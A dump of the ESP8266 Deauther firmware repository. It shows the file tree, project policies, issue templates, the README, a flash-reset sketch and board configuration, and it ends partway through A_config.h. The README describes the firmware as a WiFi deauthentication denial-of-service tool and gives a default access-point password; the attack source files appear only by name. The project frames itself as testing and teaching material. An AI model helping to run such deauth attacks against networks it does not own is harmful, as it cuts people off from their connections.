Repository: SpacehuhnTech/esp8266_deauther Branch: v2 Commit: b98f1598115b Files: 177 Total size: 3.2 MB Directory structure: gitextract_old4i_09/ ├── .github/ │ ├── CODE_OF_CONDUCT.md │ ├── CONTRIBUTING.md │ ├── FUNDING.yml │ ├── ISSUE_TEMPLATE/ │ │ ├── 1--error-report.md │ │ ├── 2--question.md │ │ ├── 3--feature-request.md │ │ ├── 4--bug-report.md │ │ └── 5--documentation.md │ ├── ISSUE_TEMPLATE.md │ ├── config.yml │ ├── stale.yml │ └── workflows/ │ └── nightly.yml ├── .gitignore ├── LICENSE ├── README.md ├── Reset_Sketch/ │ ├── README.md │ └── Reset_Sketch.ino ├── arduino-cli.yaml ├── esp8266_deauther/ │ ├── A_config.h │ ├── Accesspoints.cpp │ ├── Accesspoints.h │ ├── Attack.cpp │ ├── Attack.h │ ├── CLI.cpp │ ├── CLI.h │ ├── DisplayUI.cpp │ ├── DisplayUI.h │ ├── EEPROMHelper.h │ ├── Names.cpp │ ├── Names.h │ ├── SSIDs.cpp │ ├── SSIDs.h │ ├── Scan.cpp │ ├── Scan.h │ ├── SimpleList.h │ ├── Stations.cpp │ ├── Stations.h │ ├── debug.h │ ├── esp8266_deauther.ino │ ├── functions.h │ ├── language.h │ ├── led.cpp │ ├── led.h │ ├── oui.h │ ├── settings.cpp │ ├── settings.h │ ├── src/ │ │ ├── Adafruit_DotStar-1.1.4/ │ │ │ ├── Adafruit_DotStar.cpp │ │ │ ├── Adafruit_DotStar.h │ │ │ └── license.txt │ │ ├── Adafruit_NeoPixel-1.7.0/ │ │ │ ├── Adafruit_NeoPixel.cpp │ │ │ ├── Adafruit_NeoPixel.h │ │ │ ├── COPYING │ │ │ └── esp8266.c │ │ ├── ArduinoJson-v5.13.5/ │ │ │ └── ArduinoJson.h │ │ ├── DS3231-1.0.3/ │ │ │ ├── DS3231.cpp │ │ │ ├── DS3231.h │ │ │ └── LICENSE │ │ ├── SimpleButton/ │ │ │ ├── Buttons/ │ │ │ │ ├── AnalogStick.cpp │ │ │ │ ├── AnalogStick.h │ │ │ │ ├── Button.cpp │ │ │ │ ├── Button.h │ │ │ │ ├── ButtonAnalog.cpp │ │ │ │ ├── ButtonAnalog.h │ │ │ │ ├── ButtonGPIOExpander.cpp │ │ │ │ ├── ButtonGPIOExpander.h │ │ │ │ ├── ButtonPullup.cpp │ │ │ │ ├── ButtonPullup.h │ │ │ │ ├── ButtonPullupGPIOExpander.cpp │ │ │ │ ├── ButtonPullupGPIOExpander.h │ │ │ │ ├── PS2Gamepad.cpp │ │ │ │ ├── PS2Gamepad.h │ │ │ │ ├── RotaryEncoder.cpp │ │ │ │ ├── RotaryEncoder.h │ │ │ │ ├── RotaryEncoderI2C.cpp │ │ │ │ ├── RotaryEncoderI2C.h │ │ │ │ ├── Switch.cpp │ │ │ │ └── Switch.h │ │ │ ├── Events/ │ │ │ │ ├── ClickEvent.cpp │ │ │ │ ├── ClickEvent.h │ │ │ │ ├── DoubleclickEvent.cpp │ │ │ │ ├── DoubleclickEvent.h │ │ │ │ ├── Event.cpp │ │ │ │ ├── Event.h │ │ │ │ ├── HoldEvent.cpp │ │ │ │ ├── HoldEvent.h │ │ │ │ ├── PushEvent.cpp │ │ │ │ ├── PushEvent.h │ │ │ │ ├── ReleaseEvent.cpp │ │ │ │ └── ReleaseEvent.h │ │ │ ├── LICENSE │ │ │ ├── SimpleButton.h │ │ │ └── libs/ │ │ │ ├── GPIOExpander.cpp │ │ │ ├── GPIOExpander.h │ │ │ ├── MCP23017.cpp │ │ │ ├── MCP23017.h │ │ │ ├── PCF8574.cpp │ │ │ ├── PCF8574.h │ │ │ ├── PCF8575.cpp │ │ │ └── PCF8575.h │ │ ├── esp8266-oled-ssd1306-4.1.0/ │ │ │ ├── OLEDDisplay.cpp │ │ │ ├── OLEDDisplay.h │ │ │ ├── OLEDDisplayFonts.h │ │ │ ├── OLEDDisplayUi.cpp │ │ │ ├── OLEDDisplayUi.h │ │ │ ├── README.md │ │ │ ├── SH1106.h │ │ │ ├── SH1106Brzo.h │ │ │ ├── SH1106Spi.h │ │ │ ├── SH1106Wire.h │ │ │ ├── SSD1306.h │ │ │ ├── SSD1306Brzo.h │ │ │ ├── SSD1306I2C.h │ │ │ ├── SSD1306Spi.h │ │ │ ├── SSD1306Wire.h │ │ │ └── license │ │ └── my92xx-3.0.3/ │ │ ├── LICENSE │ │ ├── my92xx.cpp │ │ └── my92xx.h │ ├── webfiles.h │ ├── wifi.cpp │ └── wifi.h ├── serialcommands.md ├── settings.md ├── utils/ │ ├── arduino-cli-compile.py │ ├── old_web_converter/ │ │ ├── convert_all.sh │ │ ├── converter.html │ │ ├── readme.md │ │ └── style.css │ ├── vendor_list_updater/ │ │ ├── README.md │ │ └── update_manuf.py │ └── web_converter/ │ ├── css_html_js_minify/ │ │ ├── __init__.py │ │ ├── css_minifier.py │ │ ├── html_minifier.py │ │ ├── js_minifier.py │ │ ├── minify.py │ │ └── variables.py │ ├── readme.md │ └── webConverter.py └── web_interface/ ├── attack.html ├── attack.json ├── index.html ├── info.html ├── js/ │ ├── attack.js │ ├── scan.js │ ├── settings.js │ ├── site.js │ └── ssids.js ├── lang/ │ ├── cn.lang │ ├── cs.lang │ ├── da.lang │ ├── de.lang │ ├── en.lang │ ├── es.lang │ ├── fi.lang │ ├── fr.lang │ ├── hu.lang │ ├── in.lang │ ├── it.lang │ ├── ja.lang │ ├── ko.lang │ ├── nl.lang │ ├── pl.lang │ ├── ptbr.lang │ ├── ro.lang │ ├── ru.lang │ ├── th.lang │ ├── tlh.lang │ └── uk.lang ├── names.json ├── run ├── scan.html ├── scan.json ├── settings.html ├── settings.json ├── ssids.html ├── ssids.json └── style.css ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/CODE_OF_CONDUCT.md ================================================ # Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, OS choice, favourite programming language (especially if it's JavaScript), nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * Calling this project a "Jammer" * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting such as promoting chicken foodism ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at mail@spacehuhn.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] [homepage]: http://contributor-covenant.org [version]: http://contributor-covenant.org/version/1/4/ ================================================ FILE: .github/CONTRIBUTING.md ================================================ # Request for contributions Please contribute to this repository if any of the following is true: - You have expertise in Arduino/ESP8266 development, WiFi, or C/C++ - You want to help lower the burden to first time contributors - You want this open source community to be more collaborative and inclusive # How to contribute Prerequisites: - Familiarity with [pull requests](https://help.github.com/articles/using-pull-requests) and [issues](https://guides.github.com/features/issues/). - Knowledge of [Markdown](https://help.github.com/articles/markdown-basics/) for editing `.md` documents. - Knowledge of [WiFi Deauth](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) for understanding the project. In particular, this community seeks the following types of contributions: - **Ideas**: participate in an issue thread or start your own to have your voice heard. - **Resources**: submit a pull request to add to RESOURCES.md with links to related content. - **Outline sections**: help us ensure that this repository is comprehensive. if there is a topic that is overlooked, please add it, even if it is just a stub in the form of a header and single sentence. Initially, most things fall into this category. - **Writing**: contribute your expertise in an area by helping us expand the included content. - **Copy editing**: fix typos, clarify language, and generally improve the quality of the content. - **Formatting**: help keep content easy to read with consistent formatting. ## Bug reports A bug is a _demonstrable problem_ that is caused by the code in the repository. Good bug reports are extremely helpful - thank you! Guidelines for bug reports: 1. **Use the GitHub issue search** — check if the issue has already been reported. 2. **Check if the issue has been fixed** — try to reproduce it using the latest `master` or development branch in the repository. 3. **Isolate the problem**. A good bug report shouldn't leave others needing to chase you up for more information. Please try to be as detailed as possible in your report. What is your environment? What steps will reproduce the issue? What browser(s) and OS experience the problem? What would you expect to be the outcome? All these details will help people to fix any potential bugs. Example: > Short and descriptive example bug report title > > A summary of the issue and the browser/OS environment in which it occurs. If > suitable, include the steps required to reproduce the bug. > > 1. This is the first step > 2. This is the second step > 3. Further steps, etc. > > `` - a link to the serial output on pastebin > `` - a photo of your build with apparent wiring > > Any other information you want to share that is relevant to the issue being > reported. This might include the lines of code that you have identified as > causing the bug, and potential solutions (and your opinions on their > merits). ## Feature requests Feature requests are welcome. But take a moment to find out whether your idea fits with the scope and aims of the project. It's up to *you* to make a strong case to convince the project's developers of the merits of this feature. Please provide as much detail and context as possible. ## Pull requests Good pull requests - patches, improvements, new features - are a fantastic help. They should remain focused in scope and avoid containing unrelated commits. **Please ask first** before embarking on any significant pull request (e.g. implementing features, refactoring code, porting to a different language), otherwise you risk spending a lot of time working on something that the project's developers might not want to merge into the project. Please adhere to the coding conventions used throughout a project (indentation, accurate comments, etc.) and any other requirements (such as test coverage). ================================================ FILE: .github/FUNDING.yml ================================================ # These are supported funding model platforms github: spacehuhntech patreon: # Replace with a single Patreon username open_collective: # Replace with a single Open Collective username ko_fi: spacehuhn tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry liberapay: # Replace with a single Liberapay username issuehunt: # Replace with a single IssueHunt username otechie: # Replace with a single Otechie username custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] ================================================ FILE: .github/ISSUE_TEMPLATE/1--error-report.md ================================================ --- name: 1. Problem or error report about: I encountered a problem and need help to solve it title: "" labels: help wanted assignees: '' --- > Have you searched for existing (open and closed) issues describing the same problem? Yes/No **Describe the error** A clear and concise description of what the problem is. What do you think causes it? ``` Error/Compile/Output Log ``` **To Reproduce** Steps to reproduce the behavior: 1. Go to '...' 2. Click on '....' 3. Scroll down to '....' 4. See error **Expected behavior** A clear and concise description of what you expected to happen. **Screenshots** If applicable, add screenshots to help explain your problem. **Environment (please complete the following information):** - OS: [e.g. iOS] - Browser [e.g. chrome, safari] - Version [e.g. 1.0] - Hardware [e.g. DSTIKE, DIY] **Attempts** What have you already tried and didn't work out. **Additional context** Provide as much information as possible, better too much than too little! If you don't use this template, your issue might be closed and tagged invalid! ================================================ FILE: .github/ISSUE_TEMPLATE/2--question.md ================================================ --- name: 2. Question about: I have a question about this project title: "" labels: question assignees: '' --- > Please search for existing (open and closed) issues first to avoid duplicates. Also have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki). ================================================ FILE: .github/ISSUE_TEMPLATE/3--feature-request.md ================================================ --- name: 3. Feature request about: I have an idea to improve this project title: "" labels: feature request assignees: '' --- **Do similar feature requests issues already exist (open and closed)?** If yes, please link them here: **Is your feature request related to a problem? Please describe.** A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] **Describe the solution you'd like** A clear and concise description of what you want to happen. **Describe alternatives you've considered** A clear and concise description of any alternative solutions or features you've considered. **Additional context** Add any other context or screenshots about the feature request here. If you don't use this template, your issue might be closed and tagged invalid! ================================================ FILE: .github/ISSUE_TEMPLATE/4--bug-report.md ================================================ --- name: 4. Bug report about: I found a reproducible bug in the code title: "" labels: bug assignees: '' --- **Describe the bug** A clear and concise description of what the bug is. **To Reproduce** Steps to reproduce the behavior: 1. Go to '...' 2. Click on '....' 3. Scroll down to '....' 4. See error **Expected behavior** A clear and concise description of what you expected to happen. **Screenshots** If applicable, add screenshots to help explain your problem. **Environment (please complete the following information):** - OS: [e.g. iOS] - Browser [e.g. chrome, safari] - Version [e.g. 1.0] - Hardware [e.g. DSTIKE, DIY] **Additional context** Add any other context about the problem here. If you don't use this template, your issue might be closed and tagged invalid! ================================================ FILE: .github/ISSUE_TEMPLATE/5--documentation.md ================================================ --- name: 5. Documentation about: I have something to improve or add to the docs title: '' labels: documentation assignees: '' --- **Describe your changes** A clear and concise description of what you like to add or change. **Location** Where should these changes be made or the information published? Wiki, README, ... **Additional context** Add any other context about your proposal. ================================================ FILE: .github/ISSUE_TEMPLATE.md ================================================ > Please search for existing (open and closed) issues first to avoid duplicates. Also have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki). ``` PASTE YOUR ERROR/COMPILE LOGS HERE ``` ================================================ FILE: .github/config.yml ================================================ # Configuration for welcome - https://github.com/behaviorbot/welcome newIssueWelcomeComment: > Congrats on opening your first issue on this repository! 🎉
This is a automated message to help you avoid common pitfalls when asking for help online.
👉 Be sure to:
* 🇬🇧 Communicate in English so everybody can understand you
* 📖 Have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki) and [README](https://github.com/SpacehuhnTech/esp8266_deauther/blob/v2/README.md) for information
* 🔍 Search for similar [issues (open and closed)](https://github.com/SpacehuhnTech/esp8266_deauther/issues?q=is%3Aissue+)
* ✍️ Provide enough information to understand, recreate and help out with your problem
* ℹ️ Let us know if you find a solution and please share it with us
* 📕 Close the issue when your problem has been solved newPRWelcomeComment: firstPRMergeComment: ================================================ FILE: .github/stale.yml ================================================ # Number of days of inactivity before an issue becomes stale daysUntilStale: 180 # Number of days of inactivity before a stale issue is closed daysUntilClose: 7 # Issues with these labels will never be considered stale exemptLabels: - pinned - bug - translation - feature request # Label to use when marking an issue as stale staleLabel: stale # Comment to post when marking an issue as stale. Set to `false` to disable markComment: > This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions. # Comment to post when closing a stale issue. Set to `false` to disable closeComment: false ================================================ FILE: .github/workflows/nightly.yml ================================================ name: Trigger nightly build on: push: jobs: notify-nightly: name: "Trigger new build on nightly-deauther" runs-on: ubuntu-latest steps: - name: Build message title id: notif run: echo ::set-output name=TITLE::Deauther V2 $(echo ${{ github.sha }} | cut -c -7) - name: Send message run: | curl -X POST https://api.github.com/repos/spacehuhntech/nightly-deauther/dispatches \ -H 'Accept: application/vnd.github.everest-preview+json' \ -u ${{ secrets.ACCESS_TOKEN }} \ --data '{"event_type": "${{ steps.notif.outputs.TITLE }}", "client_payload": {}}' ================================================ FILE: .gitignore ================================================ *.bin *.elf *.map .DS_Store *.pyc utils/web_converter/css_html_js_minify/__pycache__/ ================================================ FILE: LICENSE ================================================ Do not redistribute, advertise or sell this software as a "jammer"!!! MIT License Copyright (c) 2020 Spacehuhn Technologies Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # ESP8266 Deauther Deauther Logo **Scan for WiFi devices, block selected connections, create dozens of networks and confuse WiFi scanners.** ## New Documentation Hi 👋 Please visit [Deauther.com](https://deauther.com) for information about this project. Here are some quick links: * [Buy](https://deauther.com/docs/buy) * [Download](https://deauther.com/docs/download) * [DIY Tutorial](https://deauther.com/docs/category/diy-tutorial) * [Usage](https://deauther.com/docs/category/usage) * [FAQ](https://deauther.com/docs/faq) ## Password The password for `pwned` is `deauther` ## About this Project This firmware allows you to easily perform a variety of actions to test 802.11 networks using an [ESP8266](https://www.espressif.com/en/products/socs/esp8266). It's also a great project for learning about WiFi, microcontrollers, Arduino, hacking and electronics/programming in general. The deauthentication attack is the main feature, which can be used to disconnect devices from their WiFi network. Although this denial-of-service attack is nothing new, a lot of devices are still vulnerable to it. Luckily this is slowly changing with more WiFi 6 enabled devices being used. But a lot of outdated WiFi devices remain in place, for example in cheap IoT hardware. With an ESP8266 Deauther, you can easily test this attack on your 2.4GHz WiFi network/devices and see whether it's successful or not. And if it is, you know you should upgrade your network. ## Disclaimer This project is a proof of concept for testing and educational purposes. Neither the ESP8266, nor its SDK was meant or built for such purposes. **Bugs can occur!** **Use it only against your own networks and devices!** Please check the legal regulations in your country before using it. We don't take any responsibility for what you do with this program. ================================================ FILE: Reset_Sketch/README.md ================================================ # RESET ## Method 1 Open the Reset_Sketch.ino and upload with the correct settings. ## Method 2 Flash one of the `reset_` files. ## Method 3 Flash the `blank_1MB.bin` to 0x000000 for 1MB modules. Flash it to 0x000000, 0x100000, 0x200000 and 0x300000 for 4MB modules. ================================================ FILE: Reset_Sketch/Reset_Sketch.ino ================================================ #include #include /* Upload this sketch to your ESP8266 to erase - all files in the SPIFFS, - all data in the EEPROM - WiFi credentials (SSID, password) Also overwrites the previous program with this one (obviously). */ void setup() { Serial.begin(115200); Serial.println(); Serial.println("STARTING..."); EEPROM.begin(4096); Serial.println("EEPROM initialized"); for (int i = 0; i < 4096; ++i){ EEPROM.write(i,0x00); } Serial.println("EEPROM cleaned"); LittleFS.begin(); Serial.println("SPIFFS initialized"); LittleFS.format(); Serial.println("SPIFFS cleaned"); ESP.eraseConfig(); Serial.println("WiFi credentials erased"); Serial.println("DONE!"); delay(10000); ESP.reset(); } void loop() { } ================================================ FILE: arduino-cli.yaml ================================================ # arduino-cli.yaml board_manager: additional_urls: - https://raw.githubusercontent.com/SpacehuhnTech/arduino/main/package_spacehuhn_index.json ================================================ FILE: esp8266_deauther/A_config.h ================================================ /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ #pragma once #define ENABLE_DEBUG #define DEBUG_PORT Serial #define DEBUG_BAUD 115200 #define DEFAULT_ESP8266 // #define NODEMCU // #define WEMOS_D1_MINI // #define HACKHELD_VEGA // #define DISPLAY_EXAMPLE_I2C // #define DISPLAY_EXAMPLE_SPI // #define MALTRONICS // #define DSTIKE_DEAUTHER_V1 // #define DSTIKE_DEAUTHER_V2 // #define DSTIKE_DEAUTHER_V3 // #define DSTIKE_DEAUTHER_V3_5 // #define DSTIKE_D_DUINO_B_V5_LED_RING // #define DSTIKE_DEAUTHER_BOY // #define DSTIKE_NODEMCU_07 // #define DSTIKE_NODEMCU_07_V2 // #define DSTIKE_DEAUTHER_OLED // #define DSTIKE_DEAUTHER_OLED_V1_5_S // #define DSTIKE_DEAUTHER_OLED_V1_5 // #define DSTIKE_DEAUTHER_OLED_V2 // #define DSTIKE_DEAUTHER_OLED_V2_5 // #define DSTIKE_DEAUTHER_OLED_V3 // #define DSTIKE_DEAUTHER_OLED_V3_5 // #define DSTIKE_DEAUTHER_OLED_V4 // #define DSTIKE_DEAUTHER_OLED_V5 // #define DSTIKE_DEAUTHER_OLED_V6 // #define DSTIKE_DEAUTHER_MOSTER // #define DSTIKE_DEAUTHER_MOSTER_V2 // #define DSTIKE_DEAUTHER_MOSTER_V3 // #define DSTIKE_DEAUTHER_MOSTER_V4 // #define DSTIKE_DEAUTHER_MOSTER_V5 // #define DSTIKE_USB_DEAUTHER // #define DSTIKE_USB_DEAUTHER_V2 // #define DSTIKE_DEAUTHER_WATCH // #define DSTIKE_DEAUTHER_WATCH_V2 // #define DSTIKE_DEAUTHER_MINI // #define DSTIKE_DEAUTHER_MINI_EVO // #define LYASI_7W_E27_LAMP // #define AVATAR_5W_E14_LAMP // Forces formatting of SPIFFS and EEPROM ot startup // #define FORMAT_SPIFFS // #define FORMAT_EEPROM // Forces a reset of all settings at startup // #define RESET_SETTINGS // ========== CONFIGS ========== // // https://github.com/spacehuhntech/hackheld #if defined(HACKHELD_VEGA) // ===== LED ===== // #define USE_LED true #define LED_NEOPIXEL #define LED_NEOPIXEL_GRB // #define LED_NEOPIXEL_RGB #define LED_MODE_BRIGHTNESS 10 #define LED_NUM 1 #define LED_NEOPIXEL_PIN 15 // D8 // ===== DISPLAY ===== // #define USE_DISPLAY true #define FLIP_DIPLAY true #define SH1106_I2C #define I2C_ADDR 0x3C #define I2C_SDA 4 // D2 #define I2C_SCL 5 // D1 // ===== BUTTONS ===== // #define BUTTON_UP 14 // D5 #define BUTTON_DOWN 12 // D6 #define BUTTON_A 2 // D4 #define BUTTON_B 0 // D3 // https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-i2c-oled #elif defined(DISPLAY_EXAMPLE_I2C) // ===== DISPLAY ===== // #define SH1106_I2C // #define SSD1306_I2C #define I2C_ADDR 0x3C #define I2C_SDA 5 #define I2C_SCL 4 // #define FLIP_DIPLAY true // ===== BUTTONS ===== // #define BUTTON_UP 14 #define BUTTON_DOWN 12 #define BUTTON_A 13 // ===== LED ===== // #define LED_NEOPIXEL_GRB // #define LED_NEOPIXEL_RGB #define LED_NUM 1 #define LED_NEOPIXEL_PIN 9 #define LED_MODE_BRIGHTNESS 10 // https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-spi-oled #elif defined(DISPLAY_EXAMPLE_SPI) #define SH1106_SPI // #define SSD1306_SPI #define SPI_RES 5 #define SPI_DC 4 #define SPI_CS 15 // #define FLIP_DIPLAY true // ===== BUTTONS ===== // #define BUTTON_UP 0 #define BUTTON_DOWN 12 #define BUTTON_A 2 // ===== LED ===== // #define LED_NEOPIXEL_GRB // #define LED_NEOPIXEL_RGB #define LED_NUM 1 #define LED_NEOPIXEL_PIN 9 #define LED_MODE_BRIGHTNESS 10 #elif defined(MALTRONICS) // ===== Reset ====== // #define RESET_BUTTON 5 // ===== LED ===== // #define LED_DOTSTAR #define LED_NUM 1 #define LED_DOTSTAR_CLK 12 #define LED_DOTSTAR_DATA 13 #define LED_MODE_BRIGHTNESS 255 // ===== Web ===== // #define WEB_IP_ADDR (192, 168, 4, 2) #define WEB_URL "deauther.tools" #elif defined(DSTIKE_D_DUINO_B_V5_LED_RING) // ===== LED ===== // #define LED_NEOPIXEL_GRB #define LED_NUM 12 #define LED_NEOPIXEL_PIN 15 // ===== DISPLAY ===== // #define SH1106_I2C #define FLIP_DIPLAY true #define DISPLAY_TEXT "Hardware by DSTIKE" // ===== BUTTONS ===== // #define BUTTON_UP 12 #define BUTTON_DOWN 13 #define BUTTON_A 14 #elif defined(DSTIKE_DEAUTHER_BOY) // ===== LED ===== // #define LED_NEOPIXEL_GRB #define LED_NUM 1 #define LED_NEOPIXEL_PIN 15 // ===== DISPLAY ===== // #define SH1106_I2C #define FLIP_DIPLAY true #define DISPLAY_TEXT "Hardware by DSTIKE" // ===== BUTTONS ===== // #define BUTTON_UP 10 #define BUTTON_DOWN 9 #define BUTTON_A 14 #define BUTTON_B 12 #elif defined(DSTIKE_DEAUTHER_V3_5) || defined(DSTIKE_NODEMCU_07_V2) // ===== LED ===== // #define LED_NEOPIXEL_GRB #define LED_NUM 1 #define LED_NEOPIXEL_PIN 15 #elif defined(DSTIKE_DEAUTHER_OLED_V1_5_S) // ===== LED ===== // #define LED_NEOPIXEL_GRB #define LED_NUM 1 #define LED_NEOPIXEL_PIN 15 // ===== DISPLAY ===== // #define SH1106_I2C #define FLIP_DIPLAY true #define DISPLAY_TEXT "Hardware by DSTIKE" // ===== BUTTONS ===== // #define BUTTON_UP 12 #define BUTTON_DOWN 13 #define BUTTON_A 14 #elif defined(DSTIKE_DEAUTHER_OLED) || defined(DSTIKE_DEAUTHER_OLED_V1_5) // ===== LED ===== // #define LED_DIGITAL #define LED_PIN_R 16 #define LED_PIN_B 2 // ===== DISPLAY ===== // #define SSD1306_I2C #define FLIP_DIPLAY true #define DISPLAY_TEXT "Hardware by DSTIKE" // ===== BUTTONS ===== // #define BUTTON_UP 12 #define BUTTON_DOWN 13 #define BUTTON_A 14 #elif defined(DSTIKE_DEAUTHER_OLED_V2) || defined(DSTIKE_DEAUTHER_OLED_V2_5) || defined(DSTIKE_DEAUTHER_OLED_V3) // ===== LED ===== // #define LED_DIGITAL #define LED_PIN_R 16 #define LED_PIN_B 2 // ===== DISPLAY ===== // #define SH1106_I2C #define FLIP_DIPLAY true #define DISPLAY_TEXT "Hardware by DSTIKE" // ===== BUTTONS ===== // #define BUTTON_UP 12 #define BUTTON_DOWN 13 #define BUTTON_A 14 #elif defined(DSTIKE_DEAUTHER_OLED_V3_5) || defined(DSTIKE_DEAUTHER_OLED_V4) || defined(DSTIKE_DEAUTHER_OLED_V5) || defined(DSTIKE_DEAUTHER_MOSTER) || defined(DSTIKE_DEAUTHER_MOSTER_V2) || defined(DSTIKE_DEAUTHER_MOSTER_V3) || defined(DSTIKE_DEAUTHER_MOSTER_V4) // ===== LED ===== // #define LED_NEOPIXEL_GRB #define LED_NUM 1 #define LED_NEOPIXEL_PIN 15 // ===== DISPLAY ===== // #define SH1106_I2C #define FLIP_DIPLAY true #define DISPLAY_TEXT "Hardware by DSTIKE" // ===== BUTTONS ===== // #define BUTTON_UP 12 #define BUTTON_DOWN 13 #define BUTTON_A 14 #elif defined(DSTIKE_DEAUTHER_OLED_V6) || defined(DSTIKE_DEAUTHER_MOSTER_V5) // ===== LED ===== // #define LED_NEOPIXEL_GRB #define LED_NUM 1 #define LED_NEOPIXEL_PIN 15 #define HIGHLIGHT_LED 16 // ===== DISPLAY ===== // #define SH1106_I2C #define FLIP_DIPLAY true #define DISPLAY_TEXT "Hardware by DSTIKE" #define RTC_DS3231 // ===== BUTTONS ===== // #define BUTTON_UP 12 #define BUTTON_DOWN 13 #define BUTTON_A 14 #elif defined(DSTIKE_USB_DEAUTHER_V2) // ===== LED ===== // #define LED_NEOPIXEL_GRB #define LED_NUM 1 #define LED_NEOPIXEL_PIN 4 #elif defined(DSTIKE_DEAUTHER_WATCH) || defined(DSTIKE_DEAUTHER_MINI) // ===== LED ===== // #define LED_NEOPIXEL_GRB #define LED_NUM 1 #define LED_NEOPIXEL_PIN 15 #define HIGHLIGHT_LED 16 // ===== DISPLAY ===== // #define SH1106_I2C #define FLIP_DIPLAY true #define DISPLAY_TEXT "Hardware by DSTIKE" // ===== BUTTONS ===== // #define BUTTON_UP 12 #define BUTTON_DOWN 13 #define BUTTON_A 14 #elif defined(DSTIKE_DEAUTHER_WATCH_V2) || defined(DSTIKE_DEAUTHER_MINI_EVO) // ===== LED ===== // #define LED_NEOPIXEL_GRB #define LED_NUM 1 #define LED_NEOPIXEL_PIN 15 #define HIGHLIGHT_LED 16 // ===== DISPLAY ===== // #define SH1106_I2C #define FLIP_DIPLAY true #define DISPLAY_TEXT "Hardware by DSTIKE" #define RTC_DS3231 // ===== BUTTONS ===== // #define BUTTON_UP 12 #define BUTTON_DOWN 13 #define BUTTON_A 14 #elif defined(LYASI_7W_E27_LAMP) // ===== LED ===== // #define LED_MY92 #define LED_MODE_OFF 0, 0, 0 #define LED_MODE_SCAN 0, 0, 255 #define LED_MODE_ATTACK 255, 0, 0 #define LED_MODE_IDLE 0, 255, 0 #define LED_MODE_BRIGHTNESS 10 #define LED_NUM 1 #define LED_MY92_DATA 4 #define LED_MY92_CLK 5 #define LED_MY92_CH_R 0 #define LED_MY92_CH_G 1 #define LED_MY92_CH_B 2 #define LED_MY92_CH_BRIGHTNESS 3 #define LED_MY92_MODEL MY92XX_MODEL_MY9291 #elif defined(AVATAR_5W_E14_LAMP) // ===== LED ===== // #define LED_MY92 #define LED_MODE_OFF 0, 0, 0 #define LED_MODE_SCAN 0, 0, 255 #define LED_MODE_ATTACK 255, 0, 0 #define LED_MODE_IDLE 0, 255, 0 #define LED_MODE_BRIGHTNESS 10 #define LED_NUM 1 #define LED_MY92_DATA 13 #define LED_MY92_CLK 15 #define LED_MY92_CH_R 0 #define LED_MY92_CH_G 1 #define LED_MY92_CH_B 2 #define LED_MY92_CH_BRIGHTNESS 3 #define LED_MY92_MODEL MY92XX_MODEL_MY9291 #elif defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3) // ===== LED ===== // // #define LED_DIGITAL // #define LED_PIN_R 16 // NodeMCU on-board LED // #define LED_PIN_B 2 // ESP-12 LED #endif /* if 